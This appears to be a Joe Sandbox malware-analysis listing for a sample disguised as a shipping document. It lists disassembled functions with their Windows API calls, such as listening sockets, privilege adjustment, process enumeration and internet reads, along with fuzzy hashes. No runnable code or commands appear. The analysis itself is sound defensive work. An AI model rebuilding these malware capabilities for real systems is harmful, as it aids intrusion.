Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 46b435936589ad6015999f426ca500f3a4710d94f9ab314cfdb7aa01ca6e7664
Instruction ID: 35ae1f778a9acc910ee5d025bb51b27ecb3a082bc35ab8f1c0cd60145474c52b
Opcode Fuzzy Hash: 46b435936589ad6015999f426ca500f3a4710d94f9ab314cfdb7aa01ca6e7664
Instruction Fuzzy Hash: 1D01FC327D06125FE7281678BC6BBF672B8DB057C5F242525FD07F24F2D9505C048590

Function 00E13190 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

Oa, xrefs: 00E13482

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __itow__swprintf
String ID: Oa
API String ID: 674341424-3945284152
Opcode ID: 0fbe020c7014010ccd6f175c7602246f62a1e624f4740f440c610ea3a7d6eb88
Instruction ID: dc96e60dec548a07c07d459621bff20f47d990aba4973d79421726045a762e7f
Opcode Fuzzy Hash: 0fbe020c7014010ccd6f175c7602246f62a1e624f4740f440c610ea3a7d6eb88
Instruction Fuzzy Hash: A2229F716083019FD724DF24D881BAFB7E5BF84714F10691DF49AA7292DB70EA84CB92

Function 00E76399 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00E763F2
WSAGetLastError.WSOCK32(00000000), ref: 00E76401
bind.WSOCK32(00000000,?,00000010), ref: 00E7641D
listen.WSOCK32(00000000,00000005), ref: 00E7642C
WSAGetLastError.WSOCK32(00000000), ref: 00E76446
closesocket.WSOCK32(00000000,00000000), ref: 00E7645A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: df41ea42c80cd0d52c5d2f3ddb3886cae39315c561284ae10f4ab1e054631c76
Instruction ID: 61a85f56d8fec9a79c7a1c07119d8f64d6d3b55e2bed6f10f884647e2ec5671e
Opcode Fuzzy Hash: df41ea42c80cd0d52c5d2f3ddb3886cae39315c561284ae10f4ab1e054631c76
Instruction Fuzzy Hash: 4E21D031600600AFDB04EF64C889A6EB7F9EF44728F109569F86AB72D2DB30AC45CB51

Function 00E01287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

DefDlgProcW.USER32(?,?,?,?,?), ref: 00E019FA
GetSysColor.USER32(0000000F), ref: 00E01A4E
SetBkColor.GDI32(?,00000000), ref: 00E01A61

Part of subcall function 00E01290: DefDlgProcW.USER32(?,00000020,?), ref: 00E012D8

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 9c17122695840a141f734fcea79d7fd54f609fe3c74ddd7b69c3f6adb169b822
Instruction ID: 767d10f1f2a090babf34a94da836b818f765ff0c94b322c5844cdaf288466a14
Opcode Fuzzy Hash: 9c17122695840a141f734fcea79d7fd54f609fe3c74ddd7b69c3f6adb169b822
Instruction Fuzzy Hash: 57A13871205944BED629ABA98C48EBB39ACDB82349F24319EF507FD1D1CA219DC1D271

Function 00E7685D Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00E77EA0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00E77ECB

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00E768B4
WSAGetLastError.WSOCK32(00000000), ref: 00E768DD
bind.WSOCK32(00000000,?,00000010), ref: 00E76916
WSAGetLastError.WSOCK32(00000000), ref: 00E76923
closesocket.WSOCK32(00000000,00000000), ref: 00E76937

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 89f48fd1ef96fb11544423a8945ad3e4b807df5e2c105e77c70606939ee9f90e
Instruction ID: 0a6f43317996203b5deab866aec31f70fea6db6a38a566e7122a6d29c712a0f9
Opcode Fuzzy Hash: 89f48fd1ef96fb11544423a8945ad3e4b807df5e2c105e77c70606939ee9f90e
Instruction Fuzzy Hash: 4A41D431B00610AFEB14AF68DC86F6E77E8DB48714F449058F95ABB2C3DA705D418791

Function 00E853DF Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00E8542E
IsWindowEnabled.USER32 ref: 00E8543C
GetForegroundWindow.USER32(?,?,00000001), ref: 00E85449
IsIconic.USER32 ref: 00E85457
IsZoomed.USER32 ref: 00E85465

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 8563f59290a0113514c1685cacd169eaf483f66809d5852d904bb37579e911aa
Instruction ID: eaca590fe4252453b9c211a246e40c2fa9acc91f6f43ed74a3972c9c4e3e1c13
Opcode Fuzzy Hash: 8563f59290a0113514c1685cacd169eaf483f66809d5852d904bb37579e911aa
Instruction Fuzzy Hash: D511E232700A106FE7216F26CC44B6A7799FF84722B405428F85FF7251CF309C828794

Function 00E7C104 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00E41CB7,?), ref: 00E7C112
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00E7C124

Strings

GetSystemWow64DirectoryW, xrefs: 00E7C11E
kernel32.dll, xrefs: 00E7C10D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: a66ca1898bc6de930b2947b0358c33a5ae6ab1597a99995409740be759cff354
Instruction ID: f83735d0cd340d6735f847f00b154bf90a0da458d8bd32926cef8786ae2d07af
Opcode Fuzzy Hash: a66ca1898bc6de930b2947b0358c33a5ae6ab1597a99995409740be759cff354
Instruction Fuzzy Hash: 58E0EC79602723CFD7205B26D819A4276E8EF08759B90E43DE88EF2252E774D885C750

Function 00E7EF21 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00E7EF51
Process32FirstW.KERNEL32(00000000,?), ref: 00E7EF5F

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Process32NextW.KERNEL32(00000000,?), ref: 00E7F01F
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00E7F02E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: f641f4362c72823071a450a3bdb27d126ef602fe3237d4d1abd4bc9682c6b27c
Instruction ID: 6b70e7983396c584ce6fd1ee0be3f2bcb8259a6c7d703e6a67f699810360913a
Opcode Fuzzy Hash: f641f4362c72823071a450a3bdb27d126ef602fe3237d4d1abd4bc9682c6b27c
Instruction Fuzzy Hash: ED5180715083019FD310EF24DC86E6BB7E8FF98710F14582DF599A7292EB70A948CB92

Function 00E5E928 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00E5E93A

Strings

|, xrefs: 00E5E96A
(, xrefs: 00E5E980

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 8b7656ac57cae9692a591702eab4223cbc46dd28d486b333efff7a556c4ce010
Instruction ID: e34d5a2076b824abfba678c10592fe758b2d91704c0e28b08766e5fd26bc9b53
Opcode Fuzzy Hash: 8b7656ac57cae9692a591702eab4223cbc46dd28d486b333efff7a556c4ce010
Instruction Fuzzy Hash: 37322775A007059FD728CF29C48196AB7F1FF48310B15D96EE99AEB3A2E770E941CB40

Function 00E72404 Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00E71920,00000000), ref: 00E724F7
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00E7252E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 71723fc9041d58430f776861f1fb3225037b769ae8ec815757953eb05970ce17
Instruction ID: eb8b41fad4738dbdcf45a3ff4de125a99eb4a09c693de510337500c25d91c476
Opcode Fuzzy Hash: 71723fc9041d58430f776861f1fb3225037b769ae8ec815757953eb05970ce17
Instruction Fuzzy Hash: 1041F471A00209BFEB20DE95DC85EBBB7FCEB40728F10D06EF709B6141EA719E419661

Function 00E6B3BF Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00E6B3CF
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00E6B429
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00E6B476

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 3046a829effb41d4f6a74ecb8c799f70c8f85083aa32a29d58b3a01c9c7ad9ae
Instruction ID: 932147b585a24dd95b00d9e63453a3ed8d127cf0e6ca4cb45c721fd300d16f82
Opcode Fuzzy Hash: 3046a829effb41d4f6a74ecb8c799f70c8f85083aa32a29d58b3a01c9c7ad9ae
Instruction Fuzzy Hash: 87213035A10518EFCB00EFA5D884AEEBBF8FF49314F1480A9E905EB362DB319955CB51

Function 00E58AA3 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00E20F36: std::exception::exception.LIBCMT ref: 00E20F6C
Part of subcall function 00E20F36: __CxxThrowException@8.LIBCMT ref: 00E20F81

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00E58AED
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00E58B1A
GetLastError.KERNEL32 ref: 00E58B27

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 9e1bd9ade7230c5cb59d2dbb9c0ab6711abd0daa0bea27f40341d772cdf16a7f
Instruction ID: 26278b139f573c1c628ceaf3dda1b3b01c10a991689eebbc7e16832cb779e7d8
Opcode Fuzzy Hash: 9e1bd9ade7230c5cb59d2dbb9c0ab6711abd0daa0bea27f40341d772cdf16a7f
Instruction Fuzzy Hash: 1311C1B1514204AFE728DF54ED85D2BB7FCFB44311B20856EF445A3251EB30AC04CB60

Function 00E64A08 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00E64A31
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00E64A48
FreeSid.ADVAPI32(?), ref: 00E64A58

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: ac0923996efa3c2838f2130a1b9ce1812a1902477a405bd3ea93fa9c21ae77a1
Instruction ID: 7a4485854020c54c3e8a78874fe256594faf5298d333a4bb180348506ae074d0
Opcode Fuzzy Hash: ac0923996efa3c2838f2130a1b9ce1812a1902477a405bd3ea93fa9c21ae77a1
Instruction Fuzzy Hash: C1F03775A51308BFDB00DFE09C89AAEBBB8EB08201F1044A9E905E2181E6746A089B50

Function 00E68932 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00E68944

Part of subcall function 00E2537A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00E69017,00000000,?,?,?,?,00E691C8,00000000,?), ref: 00E25383
Part of subcall function 00E2537A: __aulldiv.LIBCMT ref: 00E253A3

Strings

0e, xrefs: 00E6893B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0e
API String ID: 2893107130-533242481
Opcode ID: 56d844452656f8f84109a193092650709827e9bfd8e2d2a2799b32f59488b368
Instruction ID: 8fc43fe269583a1ce3581e723c88551d42e2dac1f9660a8ff9aeb26a9192f362
Opcode Fuzzy Hash: 56d844452656f8f84109a193092650709827e9bfd8e2d2a2799b32f59488b368
Instruction Fuzzy Hash: AA21B432635610CFC729CF25D841A52B3E1EBA5310B289F6CE1E9DB2D0CA75B905CB54

Function 00E0E060 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f96811b315d9bb0b292e7a9b8b0d2348890fcbc6f9e98ead362de6ac2880ee54
Instruction ID: 543f35cec9f0ae562b7e8200ee92c847248ca6488e86283b1a5581fa924558c9
Opcode Fuzzy Hash: f96811b315d9bb0b292e7a9b8b0d2348890fcbc6f9e98ead362de6ac2880ee54
Instruction Fuzzy Hash: D6228C70A00216DFDB24DF64D480AAABBF0FF08314F149979E856BB391E374A985CB91

Function 00E6C75D Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00E6C787
FindClose.KERNEL32(00000000), ref: 00E6C7B7

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f394df5441fa23a8e549fc7e243bfd6310717b264c9496a919f4a67f00498868
Instruction ID: a8d3033a9e683061dcc1d0b46b2ad39751bd61ef7fa83b180f136a4b85cf97ed
Opcode Fuzzy Hash: f394df5441fa23a8e549fc7e243bfd6310717b264c9496a919f4a67f00498868
Instruction Fuzzy Hash: CA11A1326106009FD710DF29D845A2AF7E8FF94324F00891EF9A9E72A1DB30AC04CF81

Function 00E6A0F4 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00E7957D,?,00E8FB84,?), ref: 00E6A121
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00E7957D,?,00E8FB84,?), ref: 00E6A133

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: b8071e9338457d36d44824fdf7cc1aade788e3027410d3e131e388405f404f92
Instruction ID: cd71d5989ac07a0b44f143b0a100d7315e9877252c2a5e42da7cce441a36cfd0
Opcode Fuzzy Hash: b8071e9338457d36d44824fdf7cc1aade788e3027410d3e131e388405f404f92
Instruction Fuzzy Hash: ECF0E23554522DBBDB209FA4CC48FEA77ADFF093A1F004165F809F2180D6309984CBA1

Function 00E584F3 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00E58631), ref: 00E58508
CloseHandle.KERNEL32(?,?,00E58631), ref: 00E5851A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: ff6c7c1e4891cb92d9f19f962e94543b21782bd6f76f793f209461e0d8a5e0ba
Instruction ID: 4da15c18f9ccc601a6d0d943f5eae3608e5d85e513b8334373265f46b086bfd5
Opcode Fuzzy Hash: ff6c7c1e4891cb92d9f19f962e94543b21782bd6f76f793f209461e0d8a5e0ba
Instruction Fuzzy Hash: A0E08C32004610AFF7212F61FC08D777BE9EF04311724882DF89AE0471DB22ACA0DB50

Function 00E2A2D5 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00E28ED7,?,?,?,00000001), ref: 00E2A2DA
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00E2A2E3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
